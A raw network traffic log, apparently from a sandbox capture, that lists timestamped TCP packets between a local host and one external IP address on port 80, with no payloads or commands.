Aug 16, 2022 11:45:08.933836937 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933839083 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933865070 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933865070 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933887959 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933913946 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933926105 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933938980 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.933948040 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.933991909 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.971004009 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.971036911 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.971055984 CEST	80	49838	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:08.971110106 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.971148968 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:08.974728107 CEST	49838	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.158513069 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.158557892 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.158582926 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.158586025 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.158605099 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.158607006 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.158629894 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.158636093 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.158641100 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.158653021 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.158665895 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.158675909 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.158691883 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.158699036 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.158710003 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.158735037 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.158768892 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.158792019 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.158807993 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.158813953 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.158826113 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.158850908 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.158854008 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.158878088 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.158890963 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.158900976 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.158915043 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.158922911 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.158937931 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.158961058 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.158965111 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.158986092 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.159008980 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.159008980 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.159014940 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.159045935 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.159079075 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.159101009 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.159117937 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.159138918 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.160295010 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.160368919 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.160381079 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.160425901 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.160427094 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.160470009 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.160502911 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.160547972 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.160547972 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.160593987 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.160609961 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.160675049 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.160676956 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.160721064 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.160737038 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.160793066 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.160794973 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.160839081 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.160851002 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.160918951 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.160933018 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.160989046 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.161051035 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.161103964 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.161137104 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.161176920 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.161202908 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.161217928 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.161223888 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.161261082 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.161303043 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.161344051 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.161350965 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.161386967 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.161391020 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.161428928 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.161447048 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.161451101 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.161453962 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.161473036 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.161514044 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.161531925 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.161544085 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.161554098 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.161575079 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.161600113 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.161606073 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.161643982 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.161648989 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.161684990 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.161691904 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.161720037 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.161732912 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.161756992 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.161768913 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.161814928 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.161909103 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.161952019 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.161976099 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.161989927 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162003040 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162029982 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162038088 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162065983 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162072897 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162105083 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162110090 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162144899 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162153006 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162182093 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162189960 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162225962 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162229061 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162262917 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162275076 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162298918 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162311077 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162329912 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162344933 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162358999 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162374973 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162386894 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162403107 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162415028 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162431002 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162441969 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162460089 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162470102 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162487030 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162498951 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162513971 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162528038 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162543058 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162556887 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162575960 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162585020 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162606001 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162614107 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162641048 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162663937 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162668943 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162688017 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162694931 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162698984 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162710905 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162729025 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162756920 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162775040 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162786961 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162811041 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162816048 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162844896 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162873983 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162874937 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162883997 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162899971 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162900925 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162928104 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162935972 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162946939 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.162955999 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.162985086 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163016081 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163039923 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163044930 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163073063 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163094044 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163100958 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163120031 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163127899 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163155079 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163127899 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163181067 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163183928 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163207054 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163212061 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163229942 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163235903 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163240910 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163260937 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163265944 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163268089 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163289070 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163294077 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163317919 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163327932 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163379908 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163383961 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163408995 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163429022 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163436890 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163459063 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163464069 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163489103 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163491964 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163513899 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163520098 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163542986 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163547993 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163568020 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163595915 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163630962 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163659096 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163681030 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163687944 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163708925 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163716078 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163738012 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163743973 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163765907 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163791895 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163811922 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163840055 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163866997 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163866997 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163894892 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163918018 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163924932 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163943052 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163949013 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.163952112 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.163980007 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.164001942 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164007902 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164015055 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.164038897 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164064884 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164064884 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.164093018 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.164113998 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164143085 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164241076 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.164271116 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.164299011 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164300919 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.164328098 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164347887 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.164406061 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164414883 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164602041 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.164632082 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.164654970 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164661884 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.164680958 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164689064 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.164710999 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164735079 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164736986 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.164788008 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164803982 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.164833069 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.164856911 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164860010 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.164884090 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164897919 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.164927006 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.164928913 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164940119 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164953947 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.164971113 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.164998055 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165055990 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165085077 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165102959 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165112972 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165131092 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165157080 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165230036 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165260077 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165286064 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165287971 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165316105 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165318966 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165345907 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165357113 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165380955 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165410995 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165430069 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165438890 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165455103 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165467024 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165484905 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165503025 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165513039 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165529013 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165558100 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165574074 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165582895 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165585041 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165597916 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165615082 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165643930 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165647030 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165657997 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165692091 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165709019 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165736914 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165752888 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165802956 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165873051 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165901899 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165929079 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165930986 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165954113 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.165958881 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.165981054 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166006088 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166048050 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166078091 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166099072 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166120052 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166141987 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166196108 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166269064 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166297913 CEST	80	49837	187.45.240.69	192.168.2.5
Aug 16, 2022 11:45:09.166326046 CEST	49837	80	192.168.2.5	187.45.240.69
Aug 16, 2022 11:45:09.166326046 CEST	80	49837	187.45.240.69	192.168.2.5
